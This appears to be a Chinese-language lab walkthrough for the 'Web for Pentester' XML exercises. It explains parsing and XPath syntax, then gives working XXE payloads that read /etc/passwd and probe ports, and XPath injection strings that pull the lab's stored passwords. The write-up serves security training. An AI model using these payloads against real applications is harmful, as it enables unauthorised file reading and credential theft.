web_for_pentester xml
第一关
代码很简单就是通过xml参数传入数据,然后由simplexml_load_string()函数解析执行
simplexml_load_string()就是将xml字符串载入到对象中,如果失败就返回false
读取文件
<!DOCTYPE test[<!ENTITY xxe SYSTEM "file:///etc/passwd">]><div>%26xxe;</div>
根据响应时长判断是否打开端口
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]><div>%26xxe;</div>
在php代码中如果libxml_disable_entity_Loader(false;)如果是false就允许外部实体的加载,为true就不允许外部实体的加载
第二关
先介绍下XPath
XPath是一门在xml文档中查找信息的语言。XPath可用来在XML文档中对元素和属性进行遍历。XPath是W3C XSLT标准的主要元素,并且XQuery和XPointer都构建与XPath表达之上。
路径表达式 |
结果 |
bookstore |
选取bookstore元素的所有子节点 |
/bookstore |
选取根元素bookstore |
bookstore/book |
选取属于bookstore的子元素中的所有book元素 |
//book |
选取所有book子元素,而不管他在文档中的位置 |
bookstore//book |
选取属于bookstore元素的后代的所有book元素,而不管它位于bookstore之下的什么位置 |
//@lang |
选取名为lang的所有属性 |
注释:
/ 表示从xml文件中的根节点开始解析
//表示在xml文件中匹配已经选择的当前节点,且不考虑其位置关系XPath Axes(轴)轴可以定义当前节点的节点集,以下是几个例子
ancestor 选取当前节点的所有先辈(父、祖父等)
ancestor-or-self 选取当前节点的所有先辈(父、祖父等)以及当前节点本身
attribute 选取当前节点的所有属性
descendant选取当前节点的所有后代元素(子、孙等)
descendant-or-self 选取当前的所有后代元素(子、孙等)以及当前节点本身
following 选取文档中当前节点的结束标签之后的所有节点
namespace选取当前节点的所有命名空间节点
parent选取当前节点的父节点
了解了轴,在了解下步
child::book 选取所有属于当前节点的子元素的book节点
attribute::lang 选取当前节点的lang属性
child::* 选取当前节点的所有子元素
attribute::* 选取当前节点的所有属性
child::text() 选取当前节点的所有文本子节点
child::node() 选取当前节点的所有子节点
descendant::book 选取当前节点的所有book后代
ancestor::book 选择当前节点的所有book先辈
ancestor-or-self::book 选取当前节点的所有book先辈以及当前节点(如果此节点是book节点)
child::*/child::price 选取当前节点的所有price孙节点
了解之后开始尝试构造,首先是确定闭合,然乎注释掉后面没用的
hacker']%00 页面回显正确
如果我们想要获取当前所有相同节点的值,构造永真语句如下
hacker' or 1=1]%00
页面回显
hackeradmin
尝试查询当前节点的子节点
hacker' or 1=1]/child::node()%00
页面回显
hackeradmin
尝试查询当前节点的兄弟节点,通过查询当前节点父节点的所欲子节点来实现
hacker' or 1=1]/parent::*/child::node()%00
页面回显
hackerHello hackerpentesterlabadminHello admins3cr3tP4ssw0rd 查询到当前节点兄弟节点的所有数据。
上面的回显中,猜测其中一个节点看起来应该是密码,用下面的方法验证一下
hacker' or 1=1]/parent::*/password%00
页面回显
pentesterlabs3cr3tP4ssw0rd 可以看到确实就是密码,结合上一个查询的回显可知道密码分别是`pentesterlab`和`3cr3tP4ssw0rd`
通过xml靶场的训练,发现自己对于xml还是不熟悉,而且发现xml主要的威胁在于能够读取重要的文件还有就是能够探测端口,对于远程命令执行这个条件还是比较苛刻的。
参考文章https://www.freebuf.com/sectool/169122.html